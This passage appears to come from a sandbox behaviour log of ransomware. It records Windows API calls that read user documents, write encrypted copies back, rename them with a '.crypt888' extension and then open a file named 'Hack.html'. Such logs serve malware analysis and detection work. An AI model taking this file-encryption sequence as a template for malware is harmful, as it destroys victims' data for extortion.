(normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\0udnhwn2oc-mem.docx.crypt888")) returned 1 [0082.050] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\cgyZN4vhe2UpP24U.ppt", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\cgyZN4vhe2UpP24U.ppt", lpFilePart=0x0) returned 0x4c [0082.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0082.050] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\cgyZN4vhe2UpP24U.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\cgyzn4vhe2upp24u.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.050] GetFileType (hFile=0x174) returned 0x1 [0082.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0082.050] GetFileType (hFile=0x174) returned 0x1 [0082.050] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x325d [0082.050] ReadFile (in: hFile=0x174, lpBuffer=0x279bb88, nNumberOfBytesToRead=0x325d, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x279bb88*, lpNumberOfBytesRead=0x39ed24*=0x325d, lpOverlapped=0x0) returned 1 [0082.070] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\cgyZN4vhe2UpP24U.ppt", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\cgyZN4vhe2UpP24U.ppt", lpFilePart=0x0) returned 0x4c [0082.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0082.070] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\cgyZN4vhe2UpP24U.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\cgyzn4vhe2upp24u.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.072] GetFileType (hFile=0x174) returned 0x1 [0082.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0082.072] GetFileType (hFile=0x174) returned 0x1 [0082.072] WriteFile (in: hFile=0x174, lpBuffer=0x27f8530*, nNumberOfBytesToWrite=0x3260, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x27f8530*, lpNumberOfBytesWritten=0x39ed14*=0x3260, lpOverlapped=0x0) returned 1 [0082.073] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\cgyZN4vhe2UpP24U.ppt", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\cgyZN4vhe2UpP24U.ppt", lpFilePart=0x0) returned 0x4c [0082.073] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\cgyZN4vhe2UpP24U.ppt.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\cgyZN4vhe2UpP24U.ppt.crypt888", lpFilePart=0x0) returned 0x55 [0082.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0082.073] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\cgyZN4vhe2UpP24U.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\cgyzn4vhe2upp24u.ppt"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe94cc490, ftCreationTime.dwHighDateTime=0x1d463e5, ftLastAccessTime.dwLowDateTime=0x2afca220, ftLastAccessTime.dwHighDateTime=0x1d4608a, ftLastWriteTime.dwLowDateTime=0xc21f0ca0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x3260)) returned 1 [0082.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0082.073] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\cgyZN4vhe2UpP24U.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\cgyzn4vhe2upp24u.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\cgyZN4vhe2UpP24U.ppt.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\cgyzn4vhe2upp24u.ppt.crypt888")) returned 1 [0082.076] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\jBdS0icS3aZ.rtf", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\jBdS0icS3aZ.rtf", lpFilePart=0x0) returned 0x47 [0082.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0082.076] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\jBdS0icS3aZ.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\jbds0ics3az.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.077] GetFileType (hFile=0x174) returned 0x1 [0082.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0082.077] GetFileType (hFile=0x174) returned 0x1 [0082.077] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x11941 [0082.077] ReadFile (in: hFile=0x174, lpBuffer=0x27fbc2c, nNumberOfBytesToRead=0x11941, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27fbc2c*, lpNumberOfBytesRead=0x39ed24*=0x11941, lpOverlapped=0x0) returned 1 [0082.101] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\jBdS0icS3aZ.rtf", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\jBdS0icS3aZ.rtf", lpFilePart=0x0) returned 0x47 [0082.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0082.101] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\jBdS0icS3aZ.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\jbds0ics3az.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.103] GetFileType (hFile=0x174) returned 0x1 [0082.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0082.103] GetFileType (hFile=0x174) returned 0x1 [0082.103] WriteFile (in: hFile=0x174, lpBuffer=0x287d5f8*, nNumberOfBytesToWrite=0x11950, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x287d5f8*, lpNumberOfBytesWritten=0x39ed14*=0x11950, lpOverlapped=0x0) returned 1 [0082.105] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\jBdS0icS3aZ.rtf", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\jBdS0icS3aZ.rtf", lpFilePart=0x0) returned 0x47 [0082.105] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\jBdS0icS3aZ.rtf.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\jBdS0icS3aZ.rtf.crypt888", lpFilePart=0x0) returned 0x50 [0082.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0082.105] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\jBdS0icS3aZ.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\jbds0ics3az.rtf"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7212710, ftCreationTime.dwHighDateTime=0x1d45bf9, ftLastAccessTime.dwLowDateTime=0xbba08750, ftLastAccessTime.dwHighDateTime=0x1d465db, ftLastWriteTime.dwLowDateTime=0xc223cf60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x11950)) returned 1 [0082.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0082.106] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\jBdS0icS3aZ.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\jbds0ics3az.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\jBdS0icS3aZ.rtf.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\jbds0ics3az.rtf.crypt888")) returned 1 [0082.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\sODLe3H4 c.odt", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\sODLe3H4 c.odt", lpFilePart=0x0) returned 0x46 [0082.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0082.106] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\sODLe3H4 c.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\sodle3h4 c.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.107] GetFileType (hFile=0x174) returned 0x1 [0082.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0082.107] GetFileType (hFile=0x174) returned 0x1 [0082.107] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xc634 [0082.107] ReadFile (in: hFile=0x174, lpBuffer=0x288f3b0, nNumberOfBytesToRead=0xc634, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x288f3b0*, lpNumberOfBytesRead=0x39ed24*=0xc634, lpOverlapped=0x0) returned 1 [0082.179] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\sODLe3H4 c.odt", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\sODLe3H4 c.odt", lpFilePart=0x0) returned 0x46 [0082.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0082.179] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\sODLe3H4 c.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\sodle3h4 c.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.181] GetFileType (hFile=0x174) returned 0x1 [0082.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0082.181] GetFileType (hFile=0x174) returned 0x1 [0082.181] WriteFile (in: hFile=0x174, lpBuffer=0x26bcb68*, nNumberOfBytesToWrite=0xc640, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x26bcb68*, lpNumberOfBytesWritten=0x39ed14*=0xc640, lpOverlapped=0x0) returned 1 [0082.182] CloseHandle (hObject=0x174) returned 1 [0082.184] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\sODLe3H4 c.odt", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\sODLe3H4 c.odt", lpFilePart=0x0) returned 0x46 [0082.184] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\sODLe3H4 c.odt.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\sODLe3H4 c.odt.crypt888", lpFilePart=0x0) returned 0x4f [0082.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0082.184] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\sODLe3H4 c.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\sodle3h4 c.odt"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5a74270, ftCreationTime.dwHighDateTime=0x1d45e22, ftLastAccessTime.dwLowDateTime=0xa0f62ef0, ftLastAccessTime.dwHighDateTime=0x1d46022, ftLastWriteTime.dwLowDateTime=0xc22fb640, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc640)) returned 1 [0082.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0082.185] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\sODLe3H4 c.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\sodle3h4 c.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\sODLe3H4 c.odt.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\sodle3h4 c.odt.crypt888")) returned 1 [0082.186] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\wvCida5uZmsIYg.xlsx", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\wvCida5uZmsIYg.xlsx", lpFilePart=0x0) returned 0x4b [0082.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0082.186] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\wvCida5uZmsIYg.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\wvcida5uzmsiyg.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.186] GetFileType (hFile=0x174) returned 0x1 [0082.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0082.186] GetFileType (hFile=0x174) returned 0x1 [0082.186] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x16cca [0082.187] ReadFile (in: hFile=0x174, lpBuffer=0x3682550, nNumberOfBytesToRead=0x16cca, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x3682550*, lpNumberOfBytesRead=0x39ed24*=0x16cca, lpOverlapped=0x0) returned 1 [0082.188] CloseHandle (hObject=0x174) returned 1 [0082.238] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\wvCida5uZmsIYg.xlsx", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\wvCida5uZmsIYg.xlsx", lpFilePart=0x0) returned 0x4b [0082.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0082.238] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\wvCida5uZmsIYg.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\wvcida5uzmsiyg.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.240] GetFileType (hFile=0x174) returned 0x1 [0082.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0082.240] GetFileType (hFile=0x174) returned 0x1 [0082.240] WriteFile (in: hFile=0x174, lpBuffer=0x36f4598*, nNumberOfBytesToWrite=0x16cd0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x36f4598*, lpNumberOfBytesWritten=0x39ed14*=0x16cd0, lpOverlapped=0x0) returned 1 [0082.242] CloseHandle (hObject=0x174) returned 1 [0082.243] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\wvCida5uZmsIYg.xlsx", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\wvCida5uZmsIYg.xlsx", lpFilePart=0x0) returned 0x4b [0082.244] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\wvCida5uZmsIYg.xlsx.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\wvCida5uZmsIYg.xlsx.crypt888", lpFilePart=0x0) returned 0x54 [0082.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0082.244] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\wvCida5uZmsIYg.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\wvcida5uzmsiyg.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99a81750, ftCreationTime.dwHighDateTime=0x1d4629b, ftLastAccessTime.dwLowDateTime=0x20c05980, ftLastAccessTime.dwHighDateTime=0x1d45bd7, ftLastWriteTime.dwLowDateTime=0xc2393bc0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x16cd0)) returned 1 [0082.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0082.244] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\wvCida5uZmsIYg.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\wvcida5uzmsiyg.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\wvCida5uZmsIYg.xlsx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\wvcida5uzmsiyg.xlsx.crypt888")) returned 1 [0082.245] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\XPF1xYSmSiz83RA1yBWu.doc", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\XPF1xYSmSiz83RA1yBWu.doc", lpFilePart=0x0) returned 0x50 [0082.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0082.245] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\XPF1xYSmSiz83RA1yBWu.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\xpf1xysmsiz83ra1ybwu.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.245] GetFileType (hFile=0x174) returned 0x1 [0082.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0082.245] GetFileType (hFile=0x174) returned 0x1 [0082.245] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xa065 [0082.245] ReadFile (in: hFile=0x174, lpBuffer=0x27169fc, nNumberOfBytesToRead=0xa065, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27169fc*, lpNumberOfBytesRead=0x39ed24*=0xa065, lpOverlapped=0x0) returned 1 [0082.246] CloseHandle (hObject=0x174) returned 1 [0082.301] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\XPF1xYSmSiz83RA1yBWu.doc", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\XPF1xYSmSiz83RA1yBWu.doc", lpFilePart=0x0) returned 0x50 [0082.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0082.301] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\XPF1xYSmSiz83RA1yBWu.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\xpf1xysmsiz83ra1ybwu.doc"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.302] GetFileType (hFile=0x174) returned 0x1 [0082.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0082.302] GetFileType (hFile=0x174) returned 0x1 [0082.302] WriteFile (in: hFile=0x174, lpBuffer=0x27959f4*, nNumberOfBytesToWrite=0xa070, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x27959f4*, lpNumberOfBytesWritten=0x39ed14*=0xa070, lpOverlapped=0x0) returned 1 [0082.303] CloseHandle (hObject=0x174) returned 1 [0082.309] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\XPF1xYSmSiz83RA1yBWu.doc", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\XPF1xYSmSiz83RA1yBWu.doc", lpFilePart=0x0) returned 0x50 [0082.309] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\XPF1xYSmSiz83RA1yBWu.doc.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\XPF1xYSmSiz83RA1yBWu.doc.crypt888", lpFilePart=0x0) returned 0x59 [0082.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0082.309] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\XPF1xYSmSiz83RA1yBWu.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\xpf1xysmsiz83ra1ybwu.doc"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f12a40, ftCreationTime.dwHighDateTime=0x1d45ea1, ftLastAccessTime.dwLowDateTime=0xde027100, ftLastAccessTime.dwHighDateTime=0x1d45b45, ftLastWriteTime.dwLowDateTime=0xc242c140, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xa070)) returned 1 [0082.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0082.309] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\XPF1xYSmSiz83RA1yBWu.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\xpf1xysmsiz83ra1ybwu.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\XPF1xYSmSiz83RA1yBWu.doc.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\xpf1xysmsiz83ra1ybwu.doc.crypt888")) returned 1 [0082.310] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\Hack.html", lpFilePart=0x0) returned 0x41 [0082.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 